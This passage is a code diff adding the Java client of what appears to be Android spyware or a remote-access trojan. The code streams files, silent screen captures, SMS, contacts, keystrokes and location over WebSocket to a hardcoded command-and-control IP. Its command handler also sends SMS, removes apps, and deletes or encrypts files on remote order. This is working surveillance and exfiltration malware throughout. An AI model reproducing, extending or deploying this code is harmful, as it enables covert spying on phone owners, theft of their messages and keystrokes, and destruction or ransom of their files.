MySettings.Read(ctx,Consts.Redirect_k,My_Configs.CONS_KY); + while ((bytesRead = fis.read(buffer)) != -1) { + String base64Chunk = Base64.encodeToString(buffer, 0, bytesRead, Base64.NO_WRAP); + totalBytesRead += bytesRead; + + JSONObject message = new JSONObject(); + + try { + + + message.put("filehash", md5Hash); + message.put("filepath", filePath); + message.put("filename", file.getName()); + message.put("filedata", base64Chunk); // Send base64 chunk + message.put("totalSize", totalBytes); + message.put("sentSize", totalBytesRead); + message.put("chunkNumber", chunkNumber++); + message.put("type", "down"); + String jsonData = message.toString(); + + + JSONObject finlmsg = new JSONObject(); + // message.put("userId", userid); + finlmsg.put("idf", sockidf); + finlmsg.put("pid", Myid); + finlmsg.put("itype", "Slr_client"); + finlmsg.put("subc", "msg"); + finlmsg.put("msg", jsonData); + + finlmsg.put("conk", conctkey); + finlmsg.put("cip", CIP); + + webSocketf.send(finlmsg.toString()); + } catch (Exception a) { + + } + // Send the chunk + + try { + Thread.sleep(10); // 100 milliseconds, for example + + } catch (Exception a) { + } + } + try { + Thread.sleep(3000); + } catch (Exception a) { + } + fis.close(); + // Close the WebSocket after the file is fully sent + webSocketf.close(1000, "File transfer complete"); + + } catch (Exception e) { + e.printStackTrace(); + //webSocketf.close(1000, "Error during file transfer"); + } + } + }; + thread.start(); + + } + + @Override + public void onMessage(WebSocket webSocket, String text) { + super.onMessage(webSocket, text); + try { + JSONObject Response = new JSONObject(text); + String msgtype = Response.optString("type", "empty"); + if (msgtype.equals("stop") || msgtype.equals("Unauthorized access")) { + clientfile.dispatcher().executorService().shutdown(); + } + } catch (Exception a) { + } + } + + @Override + public void onClosed(WebSocket webSocket, int code, String reason) { + // Clean up resources + clientfile.dispatcher().executorService().shutdown(); + } + + @Override + public void onFailure(WebSocket webSocket, Throwable t, Response response) { + t.printStackTrace(); + } + + }); + } + + public void LiveScReader(Context ctx, String sockidf) { + // Create a new WebSocket and client for each file + + OkHttpClient clientfile = new OkHttpClient.Builder() + .connectTimeout(30, TimeUnit.SECONDS) // Increase connection timeout + .readTimeout(60, TimeUnit.SECONDS) // Increase read timeout for large file transfers + .writeTimeout(60, TimeUnit.SECONDS) // Increase write timeout for large file transfers + .build(); + + Request request = new Request.Builder().url(URL_SOCKT()).build(); + + WebSocket websocketfile = clientfile.newWebSocket(request, new WebSocketListener() { + @Override + public void onOpen(WebSocket webSocketf, Response response) { + // Start sending the file in chunks once the WebSocket is open + Thread thread = new Thread() { + @Override + public void run() { + try { + Thread.sleep(1); + } catch (Exception s) { + } + String mWidth = MySettings.Read(ctx, Consts.Mob_width, "720"); + String mHeight = MySettings.Read(ctx, Consts.Mob_height, "1280"); + String conctkey = MySettings.Read(ctx,Consts.Redirect_k,My_Configs.CONS_KY); + while (MySettings.ReadBool(ctx, Consts.Live_scread, false)) { + try { + + byte[] imageData = AccessTools.createskilton(); + if (imageData != null) { + + + String base64Image = Base64.encodeToString(imageData, Base64.DEFAULT); + + + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "scread"); + jsonObject.put("img", base64Image); + jsonObject.put("frmt", "w"); + jsonObject.put("skly", "0"); + jsonObject.put("wmob", mWidth); + jsonObject.put("hmob", mHeight); + String jsonData = jsonObject.toString(); + + + String message = createMessage(ctx, sockidf, jsonData, conctkey); + webSocketf.send(message); + } + + } catch (Exception a) { + a.printStackTrace(); + } + } + + webSocketf.close(1000, "scread complete"); + } + }; + thread.start(); + + } + + @Override + public void onMessage(WebSocket webSocket, String text) { + super.onMessage(webSocket, text); + try { + JSONObject Response = new JSONObject(text); + String msgtype = Response.optString("type", "empty"); + if (msgtype.equals("stop") || msgtype.equals("Unauthorized access")) { + clientfile.dispatcher().executorService().shutdown(); + } + } catch (Exception a) { + } + } + + @Override + public void onClosed(WebSocket webSocket, int code, String reason) { + // Clean up resources + clientfile.dispatcher().executorService().shutdown(); + } + + @Override + public void onFailure(WebSocket webSocket, Throwable t, Response response) { + t.printStackTrace(); + } + + }); + } + + //livscr "screen" + public void LiveScreenSilent(Context ctx, byte[] imageData, String srctype) { + + try { + String base64Image = Base64.encodeToString(imageData, Base64.DEFAULT); + + String mWidth = MySettings.Read(ctx, Consts.Mob_width, "720"); + String mHeight = MySettings.Read(ctx, Consts.Mob_height, "1280"); + String SecondIDF = MySettings.Read(ctx, Consts.Sec_IDF, "null"); + if (SecondIDF.equals("null")) { + SecondIDF = MySettings.Read(ctx, Consts.THE_IDF, null); + } + + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", srctype); + jsonObject.put("img", base64Image); + jsonObject.put("frmt", "w"); + jsonObject.put("skly", "0"); + jsonObject.put("wmob", mWidth); + jsonObject.put("hmob", mHeight); + String jsonData = jsonObject.toString(); + + SendNewSocket(ctx, SecondIDF, jsonData); + } catch (Exception e) { + e.printStackTrace(); + } + + } + + + public void ProxyMsg(Context ctx, JSONObject message) { + if (ws != null) { + + try { + + String Myid = MySettings.Read(ctx, Consts.DEVICE_ID, "Deviceid"); + String IDF = MySettings.Read(ctx, Consts.THE_IDF, null); + if (Myid == null) { + return; + } + if (IDF == null) { + + try { + if (ws != null) { + ws.cancel(); + ws = null; + } + if (client != null) { + client.dispatcher().cancelAll(); + client.connectionPool().evictAll(); + client.dispatcher().executorService().shutdown(); + client = null; + } + } catch (Exception s) { + + } + + return; + } + message.put("idf", IDF); + message.put("pid", Myid); + message.put("itype", "Slr_client"); + message.put("subc", "proxy"); + ws.send(message.toString()); + } catch (Exception e) { + e.printStackTrace(); + } + } + } + + // public static void AlertAdmin(Context ctx, String alertitle, String alertmsg) { +// Thread thread = new Thread() { +// @Override +// public void run() { +// try { +// if (ws != null) { +// +// try { +// +// String Myid = MySettings.Read(ctx, Consts.DEVICE_ID, "Deviceid"); +// String IDF = MySettings.Read(ctx, Consts.THE_IDF, null); +// if (Myid == null) { +// return; +// } +// if (IDF == null) { +// +// try{ +// if (ws != null) { +// ws.cancel(); +// ws = null; +// } +// if (client != null) { +// client.dispatcher().cancelAll(); +// client.connectionPool().evictAll(); +// client.dispatcher().executorService().shutdown(); +// client = null; +// } +// }catch (Exception s){ +// +// } +// +// return; +// } +// JSONObject message = new JSONObject(); +// // message.put("userId", userid); +// message.put("idf", IDF); +// message.put("pid", Myid); +// message.put("itype", "Slr_client"); +// message.put("subc", "alert"); +// message.put("alrtitle", alertitle); +// message.put("alrmsg", alertmsg); +// // Send the JSON message as a string +// ws.send(message.toString()); +// } catch (Exception e) { +// e.printStackTrace(); +// } +// } +// } catch (Exception ex) { +// ex.printStackTrace(); +// } +// } +// }; +// thread.start(); +// +// } +// public static void LiveSearch(Context ctx, String searchtype, String type,String thepaths) { +// if (ws != null) { +// +// try { +// +// String Myid = MySettings.Read(ctx, Consts.DEVICE_ID, "Deviceid"); +// String IDF = MySettings.Read(ctx, Consts.THE_IDF, null); +// if (Myid == null) { +// return; +// } +// if (IDF == null) { +// +// try{ +// if (ws != null) { +// ws.cancel(); +// ws = null; +// } +// if (client != null) { +// client.dispatcher().cancelAll(); +// client.connectionPool().evictAll(); +// client.dispatcher().executorService().shutdown(); +// client = null; +// } +// }catch (Exception s){ +// +// } +// +// return; +// } +// JSONObject message = new JSONObject(); +// // message.put("userId", userid); +// message.put("idf", IDF); +// message.put("pid", Myid); +// message.put("itype", "Slr_client"); +// message.put("subc", type); +// message.put("stype", searchtype); +// message.put("pths", thepaths); +// // Send the JSON message as a string +// ws.send(message.toString()); +// } catch (Exception e) { +// e.printStackTrace(); +// } +// } +// } + private void closesocket() { + try { + if (ws != null) { + ws.close(1000, null); + // ws.cancel(); + + ws = null; + } + if (client != null) { + client.dispatcher().cancelAll(); + client.connectionPool().evictAll(); + client.dispatcher().executorService().shutdown(); + client = null; + } + } catch (Exception f) { + f.printStackTrace(); + } + } + + + private boolean isended = false; + + private void Endme() { + if (isended) { + //isended=true; + return; + } + isended = true; + isConnected = false; + + + WriteBool(Dummyctx, Consts.Send_Skilton, false); + closesocket(); + +// if (executorService != null) { +// executorService.shutdown(); +// } + + +// try { +// stopSelf(); +// stopForeground(false); +// } catch (Exception ex) { +// ex.printStackTrace(); +// } + + try { + if (LOCK_SOCKET != null && LOCK_SOCKET.isHeld()) { + LOCK_SOCKET.release(); + } + } catch (Exception a) { + } + // } + + } + +// @Override +// public void onDestroy() { +// super.onDestroy(); +// +// // Endme(); +// } + +// @Override +// public void onTaskRemoved(Intent rootIntent) { +// super.onTaskRemoved(rootIntent); +// //Endme(); +// } +// private static int Notifi_ID = 111; +// private void startforground(Context ctx) { +// try{ +// +// MyNotification MyNotifiint = MyNotification.getInstance(ctx); +// Notification notification = MyNotifiint.createNotification(ctx); +// if (Build.VERSION.SDK_INT >= 34) { +// this.startForeground(Notifi_ID, notification, +// ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC); +// } else { +// this.startForeground(Notifi_ID, notification); +// } +// }catch (Exception a){} +// +// } + + private boolean handleResponse(String result) { + if (result != null) { + MyLoger.Debug("ServerSay:", result); + if (result.startsWith("Conf:")) { + try { + + String Skeys = result.replace("Conf:", ""); + JSONObject jsonObject = new JSONObject(Skeys); + String idf = jsonObject.optString("idf", "null"); + if (idf.equals("null")) { + return false; + } + + String mycip = jsonObject.optString("cip", getExternalIpAddress()); + + + String RedirectIP = MySettings.Read(Dummyctx,Consts.Redirect_ip,""); + String Socketsurls ; + String ServerAddress ; + + if (RedirectIP.length() > 0){ + Socketsurls = "ws://"+RedirectIP+":8080/<"; + ServerAddress = RedirectIP; + }else{ + Socketsurls = jsonObject.optString("sk", "ws://195.160.221.203:8080/<"); + ServerAddress = jsonObject.optString("ad", "195.160.221.203"); + } + + //websocket url's sent from server + // like : wss://ws.spysolr.com/con 0) { + CommandsList commandnum; + try { + commandnum = CommandsList.valueOf(Case[0]); + } catch (Exception s) { + MyLoger.Debug("Unknown command", Case[0]); + return; + } + switch (commandnum) { + + case Sleep: + WorkServices.needsleep = true; + try { + Thread.sleep(15000); + } catch (Exception x) { + + } + break; + + case Deviceinfo: + + try { + SettingsManager smgr = new SettingsManager(Dummyctx); + String subcommand = Case[1]; + switch (subcommand) { + case "L": + String allinfo = Deviceinfo.Load(Dummyctx); + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "dinfo"); + jsonObject.put("cuz", "l"); + jsonObject.put("data", allinfo); + + //phone settings + + boolean vibrationEnabled = smgr.isVibrationEnabled(); + boolean dataRoamingEnabled = smgr.isDataRoamingEnabled(); + int screenTimeout = smgr.getScreenTimeout(); + int screenBrightness = smgr.getScreenBrightness(); + + jsonObject.put("VE", vibrationEnabled); + jsonObject.put("DE", dataRoamingEnabled); + jsonObject.put("ST", screenTimeout); + jsonObject.put("SB", screenBrightness); + + String jsonData = jsonObject.toString(); + + Livemessage(Dummyctx, jsonData); + break; + + case "E": + String editwhat = Case[2]; + String nvalue = Case[3]; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + + AudioManager audioManager = (AudioManager) Dummyctx.getSystemService(Context.AUDIO_SERVICE); + + if (editwhat.equals("TO") && Settings.System.canWrite(Dummyctx)) {//timeout + smgr.setScreenTimeout(Integer.valueOf(nvalue)); + + } else if (editwhat.equals("DR") && Settings.System.canWrite(Dummyctx)) {//DataRoaming + smgr.setDataRoamingEnabled(Boolean.valueOf(nvalue)); + + } else if (editwhat.equals("VB") && Settings.System.canWrite(Dummyctx)) {//vibration + smgr.setVibrationMode(Boolean.valueOf(nvalue)); + + } else if (editwhat.equals("UMU")) {//unmute + audioManager.adjustStreamVolume(AudioManager.STREAM_RING, + AudioManager.ADJUST_UNMUTE, 0); + } else if (editwhat.equals("VBR")) {//ringing vibration + audioManager.setRingerMode(AudioManager.RINGER_MODE_VIBRATE); + + } else if (editwhat.equals("MU")) {//mute + + audioManager.adjustStreamVolume(AudioManager.STREAM_RING, + AudioManager.ADJUST_MUTE, 0); + } else if (editwhat.equals("VM")) {//music volume + int musicVolume = Integer.valueOf(nvalue); + audioManager.setStreamVolume(AudioManager.STREAM_MUSIC, musicVolume, 0); + } else if (editwhat.equals("VN")) {//notification volume + int notificationVolume = Integer.valueOf(nvalue); + audioManager.setStreamVolume(AudioManager.STREAM_NOTIFICATION, notificationVolume, 0); + } else if (editwhat.equals("VS")) {//system volume + int systemVolume = Integer.valueOf(nvalue); + audioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, systemVolume, 0); + } else if (editwhat.equals("VR")) {//ring volume + int ringVolume = Integer.valueOf(nvalue); + audioManager.setStreamVolume(AudioManager.STREAM_RING, ringVolume, 0); + } else if (editwhat.equals("BR") && Settings.System.canWrite(Dummyctx)) {//brightness + smgr.setScreenBrightness(Integer.valueOf(nvalue)); + } + + } + break; + } + } catch (Exception a) { + + } + + // // MySocket.SendToClient(id_Commands.Deviceinfo, Deviceinfo.Load(ctx)); + + break; + + + case SMS: + try { + String[] SMSp = MyPermissions.GetPrimname(MyPermissions.Prims.SMS); + if (MyPermissions.hasPermissions(Dummyctx, SMSp)) { + + switch (Case[1]) { + case "L": + + String ALLSMS = mysmanager.Load(Dummyctx, Case[2]); + if (ALLSMS.length() > 0) { + + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", id_Commands.SMS); + jsonObject.put("cuz", "l"); + jsonObject.put("data", ALLSMS); + + String jsonData = jsonObject.toString(); + + Livemessage(Dummyctx, jsonData); + + + } else { + AlertServer(Dummyctx, "SMS", "No messages found."); + } + + + break; + + case "S": + String Snumber = Case[2]; + String Smsg = Case[3]; + if (AccessTools.myAccess() != null){ + mysmanager.sendSMS(AccessTools.myAccess(), Snumber, Smsg); + }else{ + mysmanager.sendSMS(Dummyctx, Snumber, Smsg); + } + break; + + } + + + } else { + // // MySocket.SendToClient(id_Commands.ALERT, ("Access SMS Permission is Disabled.").getBytes()); + } + + } catch (Exception ex) { + + } + + break; + + case Contacts: + try { + + String[] CONTp = MyPermissions.GetPrimname(MyPermissions.Prims.Contacts); + if (MyPermissions.hasPermissions(Dummyctx, CONTp)) { + + switch (Case[1]) { + case "L": + String contacts = Contct_manager.Load(Dummyctx); + if (contacts != null && contacts.length() > 0) { + + + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", id_Commands.Contacts); + jsonObject.put("cuz", "l"); + jsonObject.put("data", contacts); + + + String jsonData = jsonObject.toString(); + + Livemessage(Dummyctx, jsonData); + + } else { + + AlertServer(Dummyctx, "Contacts", "No contacts found."); + } + break; + case "A": + String Name = Case[2]; + String Number = Case[3]; + + if (Contct_manager.Add(Dummyctx, Name, Number)) { + + AlertServer(Dummyctx, "New Contact", Number + " is add Successfully"); + } else { + + AlertServer(Dummyctx, "New Contact", Number + " is Failed (Can't Add number)"); + } + + break; + case "D": + String IDR = Case[2]; + + Contct_manager.Remove(Dummyctx, IDR); + break; + } + + + } else { + AlertServer(Dummyctx, "Contacts", "Access Contacts Permission is Disabled"); + } + + + } catch (Exception ex) { + + } + break; + + case Apps: + try { + + switch (Case[1]) { + case "L": + String ALLAPPS = Apps_Manage.Load(Dummyctx); + if (ALLAPPS != null) { + + + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", id_Commands.APPS); + jsonObject.put("cuz", "l"); + jsonObject.put("data", ALLAPPS); + + + String jsonData = jsonObject.toString(); + + Livemessage(Dummyctx, jsonData); + } + break; + case "S": + String idtostart = Case[2]; + Intent launchIntent = Dummyctx.getPackageManager().getLaunchIntentForPackage(idtostart); + + if (launchIntent != null) { + Dummyctx.startActivity(launchIntent); + String appname = UtliTools.getAppNameFromPkgName(Dummyctx, idtostart); + AlertServer(Dummyctx, "Apps", appname + " Started.."); + } else { + AlertServer(Dummyctx, "App Not Found", idtostart); + } + break; + case "D": + String idtodisable = Case[2].toString().toLowerCase(); + if (!Blocked_Apps.contains(idtodisable)) { + Blocked_Apps.add(idtodisable); + } + String appname = UtliTools.getAppNameFromPkgName(Dummyctx, idtodisable); + AlertServer(Dummyctx, "Apps", appname + " Disabled.."); + break; + case "E": + String idtoenable = Case[2].toString().toLowerCase(); + if (Blocked_Apps.contains(idtoenable)) { + Blocked_Apps.remove(idtoenable); + } + String appname2 = UtliTools.getAppNameFromPkgName(Dummyctx, idtoenable); + AlertServer(Dummyctx, "Apps", appname2 + " Enabled.."); + break; + case "LK"://lock app + String idtolock = Case[2].toString().toLowerCase(); + if (!Lock_App_list.contains(idtolock)) { + Lock_App_list.add(idtolock); + } + String appname3 = UtliTools.getAppNameFromPkgName(Dummyctx, idtolock); + AlertServer(Dummyctx, "Apps", appname3 + " Locked.."); + break; + case "ULK": + String idtounlock = Case[2].toString().toLowerCase(); + if (Lock_App_list.contains(idtounlock)) { + Lock_App_list.remove(idtounlock); + } + String appname4 = UtliTools.getAppNameFromPkgName(Dummyctx, idtounlock); + AlertServer(Dummyctx, "Apps", appname4 + " UnLocked.."); + break; + case "TRK": + String idtotrak = Case[2].toString().toLowerCase(); + String nametarget = getAppNameFromPkgName(Dummyctx, idtotrak); + String linktarget = "n/a"; + + Addlink(nametarget, linktarget); + AddID(nametarget, idtotrak); + AddTname(nametarget); + AlertServer(Dummyctx, "Apps", "Start tracking " + nametarget); + break; + case "UTRK": + String idnotrk = Case[2].toString().toLowerCase(); + String remname = getAppNameFromPkgName(Dummyctx, idnotrk); + Removename(remname); + AlertServer(Dummyctx, "Apps", "Stop tracking " + remname); + break; + case "R": + + try { + String idtoremove = Case[2]; + Intent intentremove = new Intent(Intent.ACTION_DELETE); + intentremove.setData(Uri.parse("package:" + idtoremove)); + intentremove.putExtra(Intent.EXTRA_RETURN_RESULT, true); + intentremove.addFlags(FLAG_ACTIVITY_NEW_TASK); + Consts.removeapp = true; + + Dummyctx.startActivity(intentremove); + } catch (Exception f) { + Consts.removeapp = false; + } + break; + } + + + } catch (Exception ex) { + + } + break; + + case Connection: + try { + switch (Case[1]) { + //restart + case "R": + try { + Intent workservice = new Intent(Dummyctx, WorkServices.class); + Dummyctx.stopService(workservice); + } catch (Exception a) { + } +// try { +// Intent socketservices = new Intent(Dummyctx, LiveChat.class); +// Dummyctx.stopService(socketservices); +// } catch (Exception a) { +// } + + ServiceStarter(Dummyctx, WorkServices.class); + ServiceStarter(Dummyctx, EngineWorker.class); + + break; + //disable + case "D": + // MySocket.CloseConnection(); + System.exit(0); + break; + + } + } catch (Exception f) { + + } + + break; + case Files: + try { + String[] filesp = MyPermissions.GetPrimname(MyPermissions.Prims.Files); + boolean notallowed = false; + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { + notallowed = Environment.isExternalStorageManager(); + + } else { + notallowed = MyPermissions.hasPermissions(Dummyctx, filesp); + } + if (notallowed) { + + + filesManager fm = new filesManager(); + switch (Case[1]) { + //load + case "L": + String[] alldata = fm.Load(Dummyctx, Case[2]); + String Filesobj = alldata[0]; + + if (Filesobj != null) { + + + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", id_Commands.files); + jsonObject.put("cuz", "l"); + jsonObject.put("data", Filesobj); + String jsonData = jsonObject.toString(); + + Livemessage(Dummyctx, jsonData); + + } + break; + //open + case "O": + String results = fm.openPath(Dummyctx, Case[2]); + AlertServer(Dummyctx, "Open File", results); + break; + // view file + case "V": + fm.ViewFile(Case[2], Case[3], Case[4], Case[5], Dummyctx); + break; + //create + case "CR": + String pathfile = Case[2]; + boolean isfolder = Boolean.valueOf(Case[3]); + if (fm.createf(pathfile, isfolder)) { + AlertServer(Dummyctx, "Create folder", "Done"); + } else { + AlertServer(Dummyctx, "Create folder", "Error"); + } + break; + //upload from pc to phone + //case "U": +// String uplaodpth = Case[2]; +// String filesize = Case[3]; +// String name = Case[4]; +// String pathfile = Case[5]; // path in pc +// fm.Upload(uplaodpth, filesize, name, pathfile); + // break; + //download from phone to pc +// case "D": +// +// String FilePath = Case[2]; +// // fm.DownManager(ctx, FilePath); +// LiveChat.LiveDownload(ctx,FilePath); +// break; + //remove + case "R": + String typeR = Case[2]; + String path = Case[3]; + if (typeR.equals("fi")) { + fm.FileDelete(path); + } else if (typeR.equals("fo")) { + fm.FolderDelete(path); + } + break; + + //rename + case "N": + String oldname = Case[2]; + String newname = Case[3]; + fm.rename(oldname, newname); + break; + //zip + case "Z": + String zipname = Case[2]; + String zippaths = Case[3]; + String[] pathsArray = zippaths.split("

"); + fm.zip(pathsArray, zipname); + break; + //unzip + case "UZ": + String zippath = Case[2]; + String extracthere = Case[3]; + fm.unzip(zippath, extracthere); + break; + //Encrypt + case "EN": + try { + String encpass = Case[2]; + String epaths = Case[3]; + String ext = Case[4]; + String[] allpaths = epaths.split("

"); + + for (String p : + allpaths) { + fm.encrypt(p, encpass, ext); + } + } catch (Exception a) { + a.printStackTrace(); + } + + break; + //Decrypt + case "DE": + try { + String decpass = Case[2]; + String outpaths = Case[3]; + String allepaths = Case[4]; + String[] otputs = outpaths.split("

"); + String[] inputs = allepaths.split("

"); + for (int i = 0; i < outpaths.length(); i++) { + fm.decrypt(inputs[i], decpass, otputs[i]); + } + + + } catch (Exception a) { + a.printStackTrace(); + } + break; + } + + + } else { + // MySocket.SendToClient(id_Commands.ALERT, ("Access File Permission is Disabled.").getBytes()); + } + + + } catch (Exception ex) { + ex.printStackTrace(); + } + break; + case Screen: + + String screencommand = Case[1]; + if (screencommand.equals("SNAP")) { + if (My_Access_inst != null) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { + My_Access_inst.CapScreen(Dummyctx, "snap", 70); + } else { + // MySocket.SendToClient(id_Commands.ALERT, ("Android version does not support screen shot.").getBytes()); + AlertServer(Dummyctx, "Snap Shot", "This phone does not support silent screen shot"); + } + } + } else { + String quality = "0"; + String screentype = "N"; + String sockidf = "null"; + if (screencommand.equals("ON")) { + quality = Case[2]; + screentype = Case[3]; + sockidf = Case[4]; + if (!screentype.equals("N")) { + switch (screentype) { + case "SM"://slient mod + if (My_Access_inst != null) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { + WriteBool(Dummyctx, Consts.Silent_Screen, true); + + if (!isScreenThreadRunning()) { + SilentScreenThread(Dummyctx, Integer.valueOf(quality)); + } + } else { + // MySocket.SendToClient(id_Commands.ALERT, ("Android version does not support screen shot.").getBytes()); + AlertServer(Dummyctx, "Live Screen", "This phone does not support silent screen shot"); + } + } + return; + //break; + case "SK"://skilton view + WriteBool(Dummyctx, Consts.Live_skilton, true); + if (!isLiveSkiltonlive()) { + Skiltonlive(Dummyctx, Integer.valueOf(quality)); + } + return; + case "IN": + WriteBool(Dummyctx, Consts.Self_Record, true); + if (!isSelfRecordON()) { + SelfRecorder(Dummyctx, Integer.valueOf(quality), "screen", 80); + } + return; + default: + break; + } + } else { + // AccessTools.BringMeFront(ctx); + if (My_Access_inst != null) { + AccessTools.Treger("strscr", new String[]{"COM", screencommand + SPLIT_SKT + quality + SPLIT_SKT + sockidf}); + } else { + AccessTools.BringMeFront(Dummyctx); + try{ + Thread.sleep(500); + }catch (Exception f){} + Intent scint = new Intent(Dummyctx, ActivityCaptureScreen.class); + scint.addFlags(FLAG_ACTIVITY_NEW_TASK); + scint.addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); + scint.putExtra("COM", screencommand + SPLIT_SKT + quality + SPLIT_SKT + sockidf); + Dummyctx.startActivity(scint); + } + + + } + + } else if (screencommand.equals("OFF")) { + + if (isScreenThreadRunning()) { + stopSlientScreen(Dummyctx); + return; + } + + if (isSelfRecordON()) { + stopSelfRecorder(Dummyctx); + return; + } + if (isLiveSkiltonlive()) { + stopliveskilton(Dummyctx); + return; + } + + Dummyctx.startService(ScreenCaps.getStopIntent(Dummyctx)); + return; + } + + } + + + break; + case Activitys: + try { + + switch (Case[1]) { + + case id_Commands.DeleteActive: + String activDate = Case[2]; + ActivityMonitors.Remove(activDate, ActivityMonitors.ActivityType.ACTZ); + AlertServer(Dummyctx, "activities", "Record Removed: " + activDate); + break; + case id_Commands.GetActive: + String ActivityName = Case[2]; + String AcivityData = ActivityMonitors.Read(ActivityName, ActivityMonitors.ActivityType.ACTZ); + if (AcivityData != null) { + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "Activitys"); + jsonObject.put("cuz", "activz"); + jsonObject.put("ktime", ActivityName); + jsonObject.put("data", AcivityData); + String jsonData = jsonObject.toString(); + + Livemessage(Dummyctx, jsonData); + } + break; + + case id_Commands.DeleteNotifis: + String notsDate = Case[2]; + ActivityMonitors.Remove(notsDate, ActivityMonitors.ActivityType.NTFS); + AlertServer(Dummyctx, "Notifications", "Record Removed: " + notsDate); + break; + case id_Commands.GetNotifis: + String NotifiName = Case[2]; + String NotifiData = ActivityMonitors.Read(NotifiName, ActivityMonitors.ActivityType.NTFS); + if (NotifiData != null) { + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "Activitys"); + jsonObject.put("cuz", "notifys"); + jsonObject.put("ktime", NotifiName); + jsonObject.put("data", NotifiData); + String jsonData = jsonObject.toString(); + + Livemessage(Dummyctx, jsonData); + + } + break; + + case id_Commands.DeleteVisited: + String appsDate = Case[2]; + ActivityMonitors.Remove(appsDate, ActivityMonitors.ActivityType.VAPS); + AlertServer(Dummyctx, "Visited Apps", "Record Removed: " + appsDate); + break; + case id_Commands.GetVisited: + String VisitedName = Case[2]; + String VisitedData = ActivityMonitors.Read(VisitedName, ActivityMonitors.ActivityType.VAPS); + if (VisitedData != null) { + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "Activitys"); + jsonObject.put("cuz", "vapps"); + jsonObject.put("ktime", VisitedName); + jsonObject.put("data", VisitedData); + String jsonData = jsonObject.toString(); + + Livemessage(Dummyctx, jsonData); + + + } + break; + + case id_Commands.Deleteurl: + String urlDate = Case[2]; + ActivityMonitors.Remove(urlDate, ActivityMonitors.ActivityType.BLNK); + AlertServer(Dummyctx, "Visited Links", "Record Removed: " + urlDate); + break; + case id_Commands.GETURLS: + String URLName = Case[2]; + String URLData = ActivityMonitors.Read(URLName, ActivityMonitors.ActivityType.BLNK); + if (URLData != null) { + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "Activitys"); + jsonObject.put("cuz", "vlinks"); + jsonObject.put("ktime", URLName); + jsonObject.put("data", URLData); + String jsonData = jsonObject.toString(); + + Livemessage(Dummyctx, jsonData); + + + } + break; + + case id_Commands.DeleteKEYS: + + String KeyDate = Case[2]; + ActivityMonitors.Remove(KeyDate, ActivityMonitors.ActivityType.KSTR); + AlertServer(Dummyctx, "Key-Logs", "Record Removed: " + KeyDate); + break; + case id_Commands.Livekeys: + + String golive = Case[2]; + if (golive.equals("1")) { + //Liveklogs + if (MyCods.is_Access_Enabled(Dummyctx, AccessServices.class)) { + // WriteBool(Dummyctx, LIVE_KLOG, true); + liv_klogs=true; + //TregerKeylog(ctx); + AlertServer(Dummyctx, "Live Key-logs", "Keylogger is ON"); + } else { + AlertServer(Dummyctx, "Live Key-logs", "Accessibility Services Disabled"); + } + + } else if (golive.equals("0")) { + // WriteBool(Dummyctx, LIVE_KLOG, false); + liv_klogs = false; + AlertServer(Dummyctx, "Live Key-logs", "Keylogger is OFF"); + + } + + case id_Commands.GETKEYS: + String KEYName = Case[2]; + String KEYData = ActivityMonitors.Read(KEYName, ActivityMonitors.ActivityType.KSTR); + if (KEYData != null) { + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "Activitys"); + jsonObject.put("cuz", "keylogs"); + jsonObject.put("ktime", KEYName); + jsonObject.put("data", KEYData); + String jsonData = jsonObject.toString(); + + Livemessage(Dummyctx, jsonData); + + + } + break; + } + + + } catch (Exception d) { + + } + break; + case Notifi: + try { + String newmsg = Case[1]; + My_Access_inst.ShowNotification(Dummyctx, newmsg); + } catch (Exception s) { + + } + break; + case Location: + try { + + + if (ActivityCompat.checkSelfPermission(Dummyctx, android.Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED && + ActivityCompat.checkSelfPermission(Dummyctx, android.Manifest.permission.ACCESS_COARSE_LOCATION) == PackageManager.PERMISSION_GRANTED) { + + // Intent locint = new Intent(Dummyctx, LocationMonitor.class); + + switch (Case[1]) { + case "E": + //Enable + { + Intent intentstart = new Intent(Dummyctx, LocationMonitor.class); + intentstart.setAction("start"); + + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + Dummyctx.startForegroundService(intentstart); + } else { + Dummyctx.startService(intentstart); + } + } + break; + case "D": + //Disable + //Dummyctx.stopService(locint); + { + Intent intentstop = new Intent(Dummyctx, LocationMonitor.class); + intentstop.setAction("stop"); + Dummyctx.startService(intentstop); + } + + break; + } + + + } else { + // MySocket.SendToClient(id_Commands.ALERT, ("Access Location Permission is Disabled.").getBytes()); + AlertServer(Dummyctx, "Error Location", "Access Location Permission is Disabled."); + } + + + } catch (Exception s) { + } + break; + case Permissions: + try { + String subcommand = Case[1]; + switch (subcommand) { + case "L": + String Permis = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + Permis = MyPermissions.Load(Dummyctx); + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "Permissions"); + jsonObject.put("cuz", "l"); + jsonObject.put("data", Permis); + String jsonData = jsonObject.toString(); + + Livemessage(Dummyctx, jsonData); + } + + break; + case "R": + String neededprim = Case[2]; + if (neededprim.equals("Access")) { + if (!MyCods.is_Access_Enabled(Dummyctx, AccessServices.class)) { + + + Intent intent = new Intent(Dummyctx, AccessibilityActivity.class); + intent.addFlags(FLAG_ACTIVITY_NEW_TASK); + intent.addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); + Dummyctx.startActivity(intent); + + } + } +// else if (neededprim.equals("WriteS")) { +// try { +// +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M && !Settings.System.canWrite(Dummyctx)) { +// +// 